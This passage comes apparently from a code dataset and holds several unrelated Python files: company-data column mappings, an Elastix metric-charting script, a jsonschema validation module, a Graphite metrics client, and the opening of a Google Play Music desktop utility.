external_ids_keys_drop.append(key)\n for key in external_ids_keys_drop:\n result.pop(key, None)\n return result\n\n\ndef parse_naics(result: dict) -> dict:\n naics_codes = []\n for key in result.keys():\n if '_naics' in key:\n code = result[key]\n value = naics_slownik[code]\n code_label = code + ' (' + value +')'\n naics_codes.append(code_label)\n\n naics_codes_dedup = list(set(naics_codes))\n result['Industry'] = ', '.join(naics_codes_dedup)\n \n # Drop unnecessary keys\n naics_ids_keys_drop = []\n for col in ['_naics', '_induClass', '_induCode']:\n for key in result.keys():\n if key.startswith('mainActivityList_') or key.startswith('secondaryActivityList_') and key.endswith(col):\n naics_ids_keys_drop.append(key)\n for key in naics_ids_keys_drop:\n result.pop(key, None)\n return result\n\n\n################ COLS TO DROP ################\ncols_drop = [\n '_type', 'affiliateList', 'auditorDate', 'auditorName', 'companyName',\n 'companyLocalName', 'companySizeRevenue', 'companySizeType', 'companySizeYear',\n 'description', 'descriptionLocal', 'displayName', 'dividendList', 'employeeNumberType',\n 'globalLegalForm', 'mainProducts', 'latestMarketCapitalization',\n 'latestMarketCapitalizationCurrency', 'mainProducts', 'mainProductsLocal',\n 'outstandingSharesList', 'previousNameList', 'ratingList', 'secondaryActivityList',\n 'segmentList', 'status']\n\n############### GUIDS TO DROP ###############\n\nlen_guids = [-34, -29, -27, -25, -24, -23, -22, -21, -20, -19, -18,\n -17, -16, -15, -14, -13, -12, -11, -10, -9, -6]\n\ncols_guids_to_drop = [\n '__type', '_outstandingShareDate', '_outstandingShareSeriesName',\n '_outstandingShareValue', '_previousNameName', '_previousNameLocalName',\n '_previousNameChangeYear', '_ownershipType', '_ownerNameLocal', '_ownershipPercentage',\n '_affiliateExternalId', '_affiliateExternalIdClass', '_affiliateName',\n '_affiliateshipType', '_affiliateCountry', '_affiliateIsic', '_affiliateNameLocal',\n '_affiliateshipPercentage', '_dividendCurrency', '_dividendPayDate', '_dividendType',\n '_dividendValue', '_segmentName', '_segmentStockExchangeId', '_segmentStockName']\n\n################ COKS TO DROP ###############\ncols_to_drop_list = ['address_address', 'address_city', 'address_region']\n\n################ COKS TO RENAME ##############\noutput_rename = {\n 'nip': 'NIP',\n 'isic': 'EMISID',\n 'displayNameLocal': 'CompanyName',\n 'address_regionLocal': 'Województwo',\n 'address_addressLocal': 'Adress',\n 'address_cityLocal': 'City',\n 'address_postalCode': 'PostalCode',\n 'countryCode': 'Country',\n 'address_url': 'Website',\n 'address_email': 'EmailAdress',\n 'address_fax': 'Fax',\n 'address_phone': 'Phone',\n 'profileUpdateDate': 'ProfileUpdateDate',\n 'incorporationYear': 'IncorporationYear',\n 'legalForm': 'LegalForm',\n 'companyType': 'CompanyType',\n 'companySizeYear' : 'CompanySizeYear',\n 'employeeNumberDate': 'EmployeesNumberDate',\n 'employeeNumber': 'EmployeesNumber',\n 'employeeNumberRange_min': 'EmployeesNumberMin',\n 'employeeNumberRange_max': 'EmployeesNumberMax',\n 'registeredCapitalDate': 'RegisteredCapitalDate',\n 'registeredCapitalValue': 'RegisteredCapitalValue',\n 'registeredCapitalCurrency': 'RegisteredCapitalCurrency'}\n\n################# KNOWN COLS #################\nknown_cols = [\n 'NIP', 'EMISID', 'CompanyName', 'Data rozpoczęcia współpracy', 'Województwo',\n 'Adress', 'City', 'PostalCode', 'Country', 'Website', 'EmailAdress', 'Fax',\n 'Phone', 'ProfileUpdateDate', 'IncorporationYear', 'LegalForm', 'CompanyType',\n 'EmployeesNumberDate', 'NumberOfEmployees', 'RegisteredCapitalDate',\n 'RegisteredCapitalValue', 'RegisteredCapitalCurrency', 'KeyExecutives',\n 'Shareholders', 'NationalFiscalIDs', 'Industry']\n\nfinancial_data_cols_unprocessed = [\n 'nip', 'Data rozpoczęcia współpracy', 'NS', 'OP', 'PERSON',\n 'TS', 'NP', 'TANG', 'CE', 'SE', 'ISSUED', 'FiscalYear', 'consolidated']\n\nfinancial_data_cols = [\n 'emisid', 'nip', 'Data rozpoczęcia współpracy', 'NetSalesRevenue',\n 'OperatingProfitEBIT', 'EmployeeBenefitExpense', 'TotalAssets',\n 'NetProfitLossForThePeriod', 'PropertyPlantAndEquipment', 'CashandCashEquivalents',\n 'TotalEquity', 'IssuedCapital', 'FiscalYear', 'consolidated']\n\naccounts = ['NS', 'OP', 'PERSON', 'TS', 'NP', 'TANG', 'CE', 'SE', 'ISSUED']\n\ncols_rename = {\n 'NS':'NetSalesRevenue',\n 'OP':'OperatingProfitEBIT',\n 'PERSON':'EmployeeBenefitExpense',\n 'TS':'TotalAssets',\n 'NP':'NetProfitLossForThePeriod',\n 'TANG':'PropertyPlantAndEquipment',\n 'CE':'CashandCashEquivalents',\n 'SE':'TotalEquity',\n 'ISSUED':'IssuedCapital'}\n\ncols_to_str = [\n 'NIP', 'EMISID', 'CompanyName', 'Województwo', 'Adress', 'City', 'PostalCode',\n 'Country', 'Website', 'EmailAdress', 'Fax', 'Phone', 'LegalForm', 'CompanyType',\n 'RegisteredCapitalValue', 'RegisteredCapitalCurrency', 'KeyExecutives',\n 'Shareholders', 'NationalFiscalIDs', 'Industry']\n","sub_path":"SKRYPTY/Scripts/emis.py","file_name":"emis.py","file_ext":"py","file_size_in_byte":27302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"381820379","text":"#!/usr/bin/env python\n\n\"\"\"\nGiven a directory containing a multi-level registration, make plots of the cost function for each resolution.\nCreates a html report concatentating all the images into one.\n\"\"\"\n\nITER_PREFIX = 'IterationInfo'\nCSS_FILE = 'style.css'\n\nimport os\nfrom os.path import join, relpath\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom logzero import logger as logging\n\n\ndef make_charts(in_dir, out_dir):\n\n html = '\\n'.format(CSS_FILE)\n stage = os.path.basename(in_dir)\n html += '
Elastix metric results for {}
\\n'.format(stage)\n img_dir = join(out_dir, 'images')\n if not os.path.exists(img_dir):\n os.mkdir(img_dir)\n for subdir in os.listdir(in_dir):\n if not os.path.isdir(join(in_dir, subdir)):\n continue\n base = os.path.basename(subdir)\n html += '
{}


'.format(base)\n\n files = [x for x in os.listdir(join(in_dir, subdir)) if x.startswith(ITER_PREFIX)]\n # Sort the iteration info files based on the resolution number preceding the .txt extension\n sorted_iter_files = sorted(files, key=lambda x: x.strip('.txt')[-1])\n for file_ in sorted_iter_files:\n if not file_.startswith(ITER_PREFIX):\n continue\n iter_path = join(in_dir, subdir, file_)\n iter_num = file_.split('.')[1]\n res_num = file_.split('.')[2][1]\n out_path = join(img_dir, base + '_' + iter_num + '_' + res_num + '.png')\n\n plot(iter_path, out_path)\n html += '
\\n'.format(relpath(out_path, out_dir))\n html += ''\n\n outfile = join(out_dir, 'iteration_report.html')\n with open(outfile, 'w') as html_fh:\n html_fh.write(html)\n html_fh.write(get_css())\n\n\ndef get_css():\n css = ''\n return css\n\n\ndef plot(iteration_file_, out_path):\n data = []\n\n with open(iteration_file_) as fh:\n # Get rid of header\n try:\n next(fh)\n except StopIteration as e:\n logging.warn(f'Problem reading iteration info from {iteration_file_} ')\n return\n for line in fh:\n metric = line.split()[1].strip()\n data.append(float(metric))\n plt.plot(data)\n plt.savefig(out_path)\n plt.close()\n\n\nif __name__ == '__main__':\n\n import argparse\n parser = argparse.ArgumentParser(\"Create metric charts for a stage of the registration\")\n parser.add_argument('-i', '--in', dest='in_dir', help='Directory containing a series of registrations', required=True)\n parser.add_argument('-o', '--out', dest='out_file', help='File to export charts to', required=True)\n args = parser.parse_args()\n make_charts(args.in_dir, args.out_file)","sub_path":"lama/qc/metric_charts.py","file_name":"metric_charts.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"203449911","text":"import jsonschema\nimport inspect\nimport sys\nimport numpy as np\n#from collections.abc import MutableSequence, MutableMapping\nfrom jsonschema.exceptions import FormatError, ValidationError\n_types = jsonschema.Draft4Validator.DEFAULT_TYPES.copy()\n_integer_types = (int, np.int8, np.int16, np.int32, np.int64, np.uint8, np.uint16, np.uint32, np.uint64)\n_unsigned_types = (np.uint8, np.uint16, np.uint32, np.uint64)\n_float_types = (float, np.float16, np.float32, np.float64, np.float128)\n_array_types = (list, tuple, np.ndarray) #don't add MutableSequence for now..,\n_string_types = (str, bytes)\n_types[\"array\"] = _array_types\n_types[\"integer\"] = _integer_types\n_types[\"number\"] = _integer_types + _float_types\n_types[\"string\"] = _string_types\n#_types[\"object\"] = (dict, MutableMapping) #don't do, for now..\n\nScalar = (type(None), bool, str, bytes) + _integer_types + _float_types\n_allowed_types = Scalar + _array_types + (np.void, dict)\n\ndef is_np_struct(data):\n return isinstance(data, np.void) and not data.dtype.isbuiltin and len(data.dtype.fields)\n\ndef infer_type(value):\n if isinstance(value, dict):\n type_ = \"object\"\n elif isinstance(value, _array_types):\n type_ = \"array\"\n elif isinstance(value, bool):\n type_ = \"boolean\"\n elif isinstance(value, _integer_types):\n type_ = \"integer\"\n elif isinstance(value, _float_types):\n type_ = \"number\"\n elif isinstance(value, _string_types):\n type_ = \"string\"\n elif value is None:\n type_ = \"null\"\n elif is_np_struct(value):\n type_ = \"object\"\n else:\n raise TypeError(type(value))\n return type_\n\ndef scalar_conv(value):\n if value is None:\n return None\n if isinstance(value, (bool, str, int, float)):\n return value\n if isinstance(value, _integer_types):\n return int(value)\n if isinstance(value, _float_types):\n return float(value)\n if isinstance(value, bytes):\n return value.decode()\n raise TypeError(value)\n\nsemantic_keywords = set((\"enum\", \"const\", \"multipleOf\", \"minimum\", \"maximum\",\n \"exclusiveMinimum\", \"exclusiveMaximum\", \"maxLength\", \"minLength\", \"pattern\"))\n\ndef is_numpy_structure_schema(schema):\n \"\"\"Returns is the schema is a Numpy structure schema\n For such a schema, no elements (items) need to be validated\n This massively speeds up schema validation for large Numpy arrays\"\"\"\n if \"storage\" not in schema:\n return False\n if schema[\"storage\"] not in (\"binary\", \"pure-binary\"):\n return False\n if \"form\" not in schema:\n return False\n if \"ndim\" not in schema[\"form\"]:\n return False\n if \"items\" not in schema:\n return True\n items_schema = schema[\"items\"]\n if isinstance(items_schema, list):\n return False\n if \"validators\" in items_schema:\n return False\n if set(items_schema.keys()).intersection(semantic_keywords):\n return False\n return True\n\n\nfrom .validators import *\n\nvalidator0 = type(\"validator\", (jsonschema.Draft4Validator,), {\"DEFAULT_TYPES\": _types})\nschema_validator0 = jsonschema.validators.extend(validator0, {\n \"items\": validator_items,\n \"form\": validator_form,\n \"storage\": validator_storage,\n \"validators\": validator_validators\n})\nclass schema_validator(schema_validator0):\n def is_type(self, instance, type):\n if isinstance(instance, FormWrapper):\n instance = instance._wrapped\n if type == \"object\" and is_np_struct(instance):\n return True\n return super().is_type(instance, type)\n\nfrom .formwrapper import FormWrapper\n","sub_path":"seamless/silk/validation/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"574923751","text":"#!/usr/bin/env python\n\"\"\" Graphite module \"\"\"\n#\n#\n\nimport socket\nimport time\nimport os\n\nGRAPHITE_SERVER = '{{ graphite_host }}'\nGRAPHITE_PORT = {{ graphite_port }}\nPREFIX = 'ansible.'\n\n\nclass Graphite(object):\n \"\"\"\n Graphite Client that will setup a TCP connection to graphite.\n :param graphite_server: hostname or ip address of graphite server\n :param graphite_port: TCP port we will connect to\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Setup the connection to the graphite server\n \"\"\"\n prefix = kwargs.get('prefix', None)\n system_name = kwargs.get('system_name', None)\n graphite_server = kwargs.get('graphite_server', None)\n graphite_port = kwargs.get('graphite_port', None)\n timeout_in_seconds = kwargs.get('timeout_in_seconds', 5)\n\n if not graphite_server:\n graphite_server = GRAPHITE_SERVER\n\n if not graphite_port:\n graphite_port = GRAPHITE_PORT\n\n self.addr = (graphite_server, graphite_port)\n self.timeout_in_seconds = int(timeout_in_seconds)\n\n tmp_prefix = self.__set_prefix(prefix)\n tmp_sname = self.__set_sname(system_name)\n\n self.prefix = self.__set_valprefix(tmp_prefix, tmp_sname)\n\n @staticmethod\n def __set_prefix(prefix):\n if prefix is None:\n return PREFIX\n elif prefix == '':\n return ''\n else:\n return \"%s.\" % prefix\n\n @staticmethod\n def __set_sname(system_name):\n if system_name is None:\n return '%s.' % os.uname()[1].replace('.', '_')\n elif system_name == '':\n return ''\n else:\n return '%s.' % system_name\n\n @staticmethod\n def __set_valprefix(tmp_prefix, tmp_sname):\n prefix = \"%s%s\" % (tmp_prefix, tmp_sname)\n if '..' in prefix:\n prefix = prefix.replace('..', '.')\n if ' ' in prefix:\n prefix = prefix.replace(' ', '_')\n if '/' in prefix:\n prefix = prefix.replace('/', 'r')\n return prefix\n\n def __connect(self):\n \"\"\"\n Make a TCP connection to the graphite server on port self.port\n \"\"\"\n\n mysocket = socket.socket()\n mysocket.settimeout(self.timeout_in_seconds)\n try:\n mysocket.connect(self.addr)\n except socket.timeout:\n raise GraphiteSendException(\n \"Took over %d second(s) to connect to %s\" %\n (self.timeout_in_seconds, self.addr))\n except socket.gaierror:\n raise GraphiteSendException(\n \"No address associated with hostname %s:%s\" % self.addr)\n except Exception as error:\n raise GraphiteSendException(\n \"unknown exception while connecting to %s - %s\" %\n (self.addr, error)\n )\n return mysocket\n\n @staticmethod\n def __disconnect(mysocket):\n \"\"\"\n Close the TCP connection with the graphite server.\n \"\"\"\n\n try:\n mysocket.shutdown(1)\n\n except AttributeError:\n mysocket = None\n except Exception:\n mysocket = None\n\n finally:\n mysocket = None\n\n def send(self, metric, value, timestamp=None):\n \"\"\" Given a message send it to the graphite server. \"\"\"\n\n if timestamp is None:\n timestamp = int(time.time())\n else:\n timestamp = int(timestamp)\n\n if type(value).__name__ in ['str', 'unicode']:\n value = float(value)\n\n if '/' in metric:\n metric = metric.replace('/', '-')\n\n message = \"%s %f %d\\n\" % (self.prefix+metric, value, timestamp)\n\n mysocket = self.__connect()\n\n try:\n mysocket.sendall(message)\n\n except socket.gaierror as error:\n self.__disconnect(mysocket)\n raise GraphiteSendException(\n \"Failed to send data to %s, with error: %s\" %\n (self.addr, error))\n return message.strip()\n\n\nclass GraphiteSendException(Exception):\n \"\"\" Some doc here \"\"\"\n pass\n","sub_path":"graphite.py","file_name":"graphite.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"393276903","text":"import base64\r\nimport csv\r\nimport datetime\r\nimport dropbox\r\nimport hashlib\r\nimport logging\r\nimport operator\r\nimport os\r\nimport os.path\r\nimport pyaes\r\nimport random\r\nimport re\r\nimport string\r\nimport sys\r\nimport tempfile\r\nimport time\r\nimport urllib3\r\nimport requests\r\nimport webbrowser\r\nfrom datetime import date, timedelta\r\nfrom dropbox import DropboxOAuth2FlowNoRedirect\r\nfrom functools import partial\r\nfrom requests.adapters import HTTPAdapter\r\nfrom gmusicapi import Mobileclient\r\nfrom gmusicapi import Musicmanager\r\nfrom gmusicapi.exceptions import AlreadyLoggedIn\r\nfrom PySide2.QtWidgets import QApplication, QComboBox, QDateEdit, QFileDialog, QInputDialog, QLabel, QMessageBox, QPushButton, QTableView, QTableWidget,QVBoxLayout, QWidget \r\nfrom PySide2 import QtCore\r\nfrom PySide2.QtCore import *\r\nfrom PySide2.QtGui import QFont\r\nfrom mutagen.mp3 import MP3\r\nfrom mutagen.easyid3 import EasyID3\r\nfrom slugify import slugify\r\nfrom time import gmtime, strftime\r\n\r\n# To Do\r\n# -----\r\n# See if you can make reorder playlist work. Drag and drop doesn't work correctly\r\n\r\n# Changes\r\n# -------\r\n\r\ncheckForUpdates = True\r\n\r\ntableForegroundColor = None\r\n\r\ntableBackgroundColor = None\r\n\r\n# Change this to True if you want to allow duplicate playlist names (not recommended because it can cause problems)\r\nAllowDuplicatePlaylistNames = False\r\n\r\n# change this to True if you do not want an m3u file to be created when you use the Download All Songs in a Playlist feature\r\nnoM3U=False\r\n\r\n# Change this to True if you do not want to create Artist and Album folders when downloading all songs in a playlist\r\nnoSubDirectories=False\r\n\r\n### DO NOT EDIT ANYTHING BELOW THIS LINE\r\nurllib3.disable_warnings()\r\n\r\n# Fix for the error NotImplementedError: resource_filename() only supported for .egg, not .zip which is related to Dropbox API\r\n# http://mfctips.com/2013/05/03/dropbox-python-sdk-with-py2exe-causes-notimplementederror-resource_filename-only-supported-for-egg-not-zip/\r\n#\r\n# Generate m3u playlist from a directory\r\n# https://gist.github.com/jonlabelle/6098281\r\n\r\n# This is an SSL patch found at http://stackoverflow.com/questions/24973326/requests-exceptions-sslerror-errno-185090050 to force this script to use the local cacert.pem. This is needed when compiling this script into an exe using py2exe because otherwise the executable will throw an SSL error due to not finding the SSL certificate\r\ndef _SSL_patch_requests():\r\n orig_send = HTTPAdapter.send\r\n def _send_no_verify(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):\r\n return orig_send(self, request, stream, timeout, os.getcwd() + '\\\\cacert.pem' if verify else False, cert, proxies)\r\n HTTPAdapter.send = _send_no_verify\r\n\r\n# When we are running the exe, we need to load the SSL cert\r\nif sys.argv[0].find(\".exe\") != -1:\r\n _SSL_patch_requests()\r\n\r\nclass TableModel(QAbstractTableModel):\r\n def flags(self, index):\r\n if index.isValid():\r\n return Qt.ItemIsDragEnabled | Qt.ItemIsDropEnabled | Qt.ItemIsEditable | Qt.ItemIsEnabled | Qt.ItemIsSelectable\r\n else:\r\n return Qt.ItemIsDropEnabled | Qt.ItemIsEditable | Qt.ItemIsEnabled | Qt.ItemIsSelectable\r\n\r\n def __init__(self, parent, mylist, header, *args):\r\n QAbstractTableModel.__init__(self, parent, *args)\r\n self.mylist = mylist\r\n self.header = header\r\n def moveRows(self, parent, source_first, source_last, parent2, dest):\r\n #print \"moveRows called, self.data = %s\" % self.data\r\n self.beginMoveRows(parent, source_first, source_last, parent2, dest)\r\n\r\n self.data = self.data[1] + self.data[0] + self.data[2]\r\n self.endMoveRows()\r\n #print \"moveRows finished, self.data = %s\" % self.data\r\n def rowCount(self, parent):\r\n return len(self.mylist)\r\n def columnCount(self, parent):\r\n return len(self.mylist[0])\r\n def data(self, index, role):\r\n if not index.isValid():\r\n return None\r\n elif role != Qt.DisplayRole:\r\n return None\r\n return self.mylist[index.row()][index.column()]\r\n def headerData(self, col, orientation, role):\r\n if orientation == Qt.Horizontal and role == Qt.DisplayRole:\r\n return self.header[col]\r\n return None\r\n def sort(self, col, order):\r\n \"\"\"sort table by given column number col\"\"\"\r\n self.emit(SIGNAL(\"layoutAboutToBeChanged()\"))\r\n self.mylist = sorted(self.mylist, key=operator.itemgetter(col))\r\n if order == Qt.DescendingOrder:\r\n self.mylist.reverse()\r\n self.emit(SIGNAL(\"layoutChanged()\"))\r\n\r\n def dragMoveEvent(self, event):\r\n event.setDropAction(QtCore.Qt.MoveAction)\r\n event.accept()\r\n\r\n '''\r\n def moveRows(self, parent, source_first, source_last, parent2, dest):\r\n print \"moveRows called, self.data = %s\" % self.data\r\n self.beginMoveRows(parent, source_first, source_last, parent2, dest)\r\n\r\n self.data = self.data[1] + self.data[0] + self.data[2]\r\n self.endMoveRows()\r\n print \"moveRows finished, self.data = %s\" % self.data\r\n '''\r\n\r\nclass TableView(QTableView):\r\n def __init__(self, parent=None):\r\n QTableView.__init__(self, parent=None)\r\n self.setSelectionMode(self.ExtendedSelection)\r\n self.setDragEnabled(True)\r\n self.acceptDrops()\r\n self.setDragDropMode(self.InternalMove)\r\n self.setDropIndicatorShown(True)\r\n self.setDefaultDropAction(QtCore.Qt.MoveAction)\r\n\r\n def dropEvent(self, event):\r\n if event.source() == self and (event.dropAction() == Qt.MoveAction or self.dragDropMode() == QAbstractItemView.InternalMove):\r\n success, row, col, topIndex = self.dropOn(event)\r\n if success:\r\n selRows = self.getSelectedRowsFast()\r\n\r\n top = selRows[0]\r\n # print 'top is %d'%top\r\n dropRow = row\r\n if dropRow == -1:\r\n dropRow = self.rowCount()\r\n # print 'dropRow is %d'%dropRow\r\n offset = dropRow - top\r\n # print 'offset is %d'%offset\r\n\r\n for i, row in enumerate(selRows):\r\n r = row + offset\r\n if r > self.rowCount() or r < 0:\r\n r = 0\r\n self.insertRow(r)\r\n # print 'inserting row at %d'%r\r\n\r\n\r\n selRows = self.getSelectedRowsFast()\r\n # print 'selected rows: %s'%selRows\r\n\r\n top = selRows[0]\r\n # print 'top is %d'%top\r\n offset = dropRow - top\r\n # print 'offset is %d'%offset\r\n for i, row in enumerate(selRows):\r\n r = row + offset\r\n if r > self.rowCount() or r < 0:\r\n r = 0\r\n\r\n for j in range(self.columnCount()):\r\n # print 'source is (%d, %d)'%(row, j)\r\n # print 'item text: %s'%self.item(row,j).text()\r\n source = QTableWidgetItem(self.item(row, j))\r\n # print 'dest is (%d, %d)'%(r,j)\r\n self.setItem(r, j, source)\r\n\r\n # Why does this NOT need to be here?\r\n # for row in reversed(selRows):\r\n # self.removeRow(row)\r\n\r\n event.accept()\r\n\r\n else:\r\n QTableView.dropEvent(event)\r\n '''\r\n def getSelectedRowsFast(self):\r\n print \"in getSelectedRowsFast()\"\r\n selRows=[]\r\n \r\n for item in self.selectedIndexes():\r\n if item.row() not in selRows:\r\n print \"adding to selRows\"\r\n selRows.append(item.row())\r\n return selRows\r\n #selRows = []\r\n #for item in self.selectedItems():\r\n # if item.row() not in selRows:\r\n # selRows.append(item.row())\r\n #return selRows\r\n\r\n def droppingOnItself(self, event, index):\r\n print \"in droppingOnItself()\"\r\n dropAction = event.dropAction()\r\n\r\n if self.dragDropMode() == QAbstractItemView.InternalMove:\r\n dropAction = Qt.MoveAction\r\n\r\n if event.source() == self and event.possibleActions() & Qt.MoveAction and dropAction == Qt.MoveAction:\r\n selectedIndexes = self.selectedIndexes()\r\n child = index\r\n while child.isValid() and child != self.rootIndex():\r\n if child in selectedIndexes:\r\n return True\r\n child = child.parent()\r\n\r\n return False\r\n\r\n def dropOn(self, event):\r\n print \"in dropOn()\"\r\n if event.isAccepted():\r\n return False, None, None, None\r\n\r\n index = QModelIndex()\r\n row = -1\r\n col = -1\r\n\r\n if self.viewport().rect().contains(event.pos()):\r\n index = self.indexAt(event.pos())\r\n if not index.isValid() or not self.visualRect(index).contains(event.pos()):\r\n index = self.rootIndex()\r\n\r\n if self.model().supportedDropActions() & event.dropAction():\r\n if index != self.rootIndex():\r\n dropIndicatorPosition = self.position(event.pos(), self.visualRect(index), index)\r\n\r\n if dropIndicatorPosition == QAbstractItemView.AboveItem:\r\n row = index.row()\r\n col = index.column()\r\n # index = index.parent()\r\n elif dropIndicatorPosition == QAbstractItemView.BelowItem:\r\n row = index.row() + 1\r\n col = index.column()\r\n # index = index.parent()\r\n else:\r\n row = index.row()\r\n col = index.column()\r\n\r\n if not self.droppingOnItself(event, index):\r\n # print 'row is %d'%row\r\n # print 'col is %d'%col\r\n return True, row, col, index\r\n\r\n return False, None, None, None\r\n\r\n def position(self, pos, rect, index):\r\n print \"in position()\"\r\n r = QAbstractItemView.OnViewport\r\n margin = 2\r\n if pos.y() - rect.top() < margin:\r\n r = QAbstractItemView.AboveItem\r\n elif rect.bottom() - pos.y() < margin:\r\n r = QAbstractItemView.BelowItem \r\n elif rect.contains(pos, True):\r\n r = QAbstractItemView.OnItem\r\n\r\n if r == QAbstractItemView.OnItem and not (self.model().flags(index) & Qt.ItemIsDropEnabled):\r\n r = QAbstractItemView.AboveItem if pos.y() < rect.center().y() else QAbstractItemView.BelowItem\r\n\r\n return r\r\n \r\n def dragEnterEvent(self, event):\r\n print \"in dragEnterEvent()\"\r\n event.accept()\r\n '''\r\n def dragMoveEvent(self, event):\r\n event.accept()\r\n\r\n '''\r\n def dropEvent(self, event):\r\n print \"dropEvent called\"\r\n point = event.pos()\r\n self.model().moveRows(QModelIndex(), 0, 0, QModelIndex(), 1)\r\n event.accept()\r\n '''\r\n\r\n def mousePressEvent(self, event):\r\n self.startDrag(event)\r\n\r\n def startDrag(self, event):\r\n index = self.indexAt(event.pos())\r\n if not index.isValid():\r\n return\r\n\r\n # self.moved_data = self.model().data[index.row()]\r\n\r\n drag = QDrag(self)\r\n\r\n mimeData = QMimeData()\r\n mimeData.setData(\"application/blabla\", \"\")\r\n drag.setMimeData(mimeData)\r\n\r\n pixmap = QPixmap()\r\n pixmap = pixmap.grabWidget(self, self.visualRect(index))\r\n drag.setPixmap(pixmap)\r\n\r\n result = drag.start(Qt.MoveAction)\r\n\r\nclass TableSwitcher(QTableWidget):\r\n def dropEvent(self, dropEvent):\r\n \r\n item_src = self.selectedItems()[0]\r\n item_dest = self.itemAt(dropEvent.pos())\r\n\r\n if item_src is None or item_dest is None or (item_src is not None and item_src.text() != \"\" and item_dest is not None and item_dest.text() != \"\"):\r\n dropEvent.ignore()\r\n return\r\n\r\n src_row = item_src.row()\r\n src_col = item_src.column()\r\n\r\n dest_value = item_dest.text()\r\n \r\n super(TableSwitcher, self).dropEvent(dropEvent)\r\n self.setItem(src_row, src_col, QTableWidgetItem(dest_value))\r\n\r\nclass GMusicUtility(QWidget):\r\n mc = None # Mobileclient interface\r\n\r\n mm = None # Musicmanager interface\r\n\r\n dropBoxClient = None # Dropbox interface\r\n\r\n # playlist header used on all exports\r\n csvHeader = [\"Track ID\",\"Track Name\",\"Album\",\"Artist\",\"Track Number\",\"Year\",\"Album Artist\",\"Disc Number\",\"Genre\"]\r\n\r\n # HTML header used on all exports\r\n HTMLHeader = None\r\n\r\n # HTML Footer used on all exports\r\n HTMLFooter = \"\" + os.linesep + \"\" + os.linesep + \"\"\r\n\r\n playlists = None\r\n\r\n library = None\r\n\r\n siteURL=\"https://github.com/SegiH/gmusicutility\"\r\n\r\n # App Version - Used to check for updates\r\n version = \"4.2\"\r\n\r\n # Export As ComboBox\r\n libraryExportFormatComboBox = None\r\n\r\n # Export As label\r\n playlistExportFormatLabel = None\r\n\r\n # Export As Option Menu\r\n playlistExportFormatComboBox = None\r\n\r\n # Library Task label\r\n libraryTaskLabel = None\r\n\r\n # Library tasks ComboBox\r\n libraryTaskComboBox = None\r\n\r\n # Playlist label - needs to be dynamically show and hidden as needed\r\n playlistLabel = None\r\n\r\n # Playlist ComboBox - needs to be dynamically show and hidden as needed\r\n playlistComboBox = None\r\n \r\n # Playlist label - needs to be dynamically show and hidden as needed\r\n playlistLabel2 = None\r\n\r\n # Playlist ComboBox - needs to be dynamically show and hidden as needed\r\n playlistComboBox2 = None\r\n \r\n # Playlist Task ComboBox\r\n playlistTaskComboBox = None\r\n\r\n # Rename Playlist Table\r\n renameTable = None\r\n\r\n # Rename Playlist Widget\r\n renameWidget = None\r\n\r\n\t # Recently Added Widget\r\n recentlyAddedWidget = None\r\n\r\n recentlyAddedLabel = None\r\n\r\n recentlyAddedDateEdit = None\r\n\r\n updateLabel = None\r\n\r\n table_view = None\r\n\r\n recentlyAddedLayout = None\r\n\r\n recentlyAddedYear = 0\r\n\r\n recentlyAddedMonth = 0\r\n\r\n recentlyAddedDay = 0\r\n \r\n salt=\"VpNbhrDhgWRjpLzyaZIShmPqu\"\r\n\r\n newSongs=None\r\n\r\n # Window width & height\r\n width = 850\r\n height = 150\r\n\r\n # Coordinates for the controls for each column (X coordinate)\r\n columnXCoordinates = [15, 275, 530]\r\n\r\n # Coordinates for the controls for each row (Y coordinate)\r\n rowYCoordinates = [20, 40, 80, 100]\r\n\r\n validFormats = [\"CSV\", \"HTML\"]\r\n \r\n delimiter=None\r\n\t \r\n GoogleOAuthCredFile=\"GoogleOAuth.cred\"\r\n \r\n GoogleMMOAuthCredFile=\"GoogleOAuth-mm.cred\"\r\n \r\n def __init__(self):\r\n super(GMusicUtility, self).__init__()\r\n\r\n # If the user wants to see the command line usage, call commandLineUsage() and exit without authenticating\r\n if len(sys.argv) > 1 and (sys.argv[1] == \"/help\" or sys.argv[1] == \"/?\"):\r\n if len(sys.argv) > 2 and not sys.argv[2] is None:\r\n self.commandLineUsage(sys.argv[2])\r\n else:\r\n self.commandLineUsage()\r\n\r\n sys.exit()\r\n\r\n # Set the global delimiter\r\n if sys.platform == \"win32\":\r\n self.delimiter = \"\\\\\"\r\n else:\r\n self.delimiter = \"/\"\r\n\r\n self.mc = Mobileclient()\r\n\r\n # We have to use the Musicmanager interface to download music\r\n self.mm = Musicmanager()\r\n\r\n # Supress insecure warnings\r\n logging.captureWarnings(True)\r\n \r\n if os.path.isfile(self.GoogleOAuthCredFile) == False:\r\n try:\r\n self.mc.perform_oauth(self.GoogleOAuthCredFile, True)\r\n except:\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Google Play Music authentication failed\", \"Your Google Play Music authentication has failed. Please make sure that you entered a valid code.\")\r\n return False \r\n else:\r\n print(\"Your Google Play Music authentication has failed. Please make sure that you entered a valid code.\")\r\n return False \r\n else: # Log in using existing OAuth\r\n try:\r\n errorMessage=\"Unable to complete OAuth with your Google account. Please try again.\"\r\n\r\n # Login using GoogleOAuth.cred\r\n if self.mc.oauth_login(Mobileclient.FROM_MAC_ADDRESS,self.GoogleOAuthCredFile) == False:\r\n # When no command line arguments were provided, we are using the GUI so use MessageBox, otherwise print error message to console\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Google Play Music Utility\", errorMessage)\r\n sys.exit()\r\n else:\r\n print(errorMessage)\r\n sys.exit()\r\n except AlreadyLoggedIn:\r\n pass\r\n except Exception as e:\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Google Play Music Utility\", errorMessage)\r\n print(e)\r\n sys.exit()\r\n else:\r\n print(errorMessage)\r\n print(e)\r\n sys.exit()\r\n\r\n if tableForegroundColor is None or tableBackgroundColor is None:\r\n # 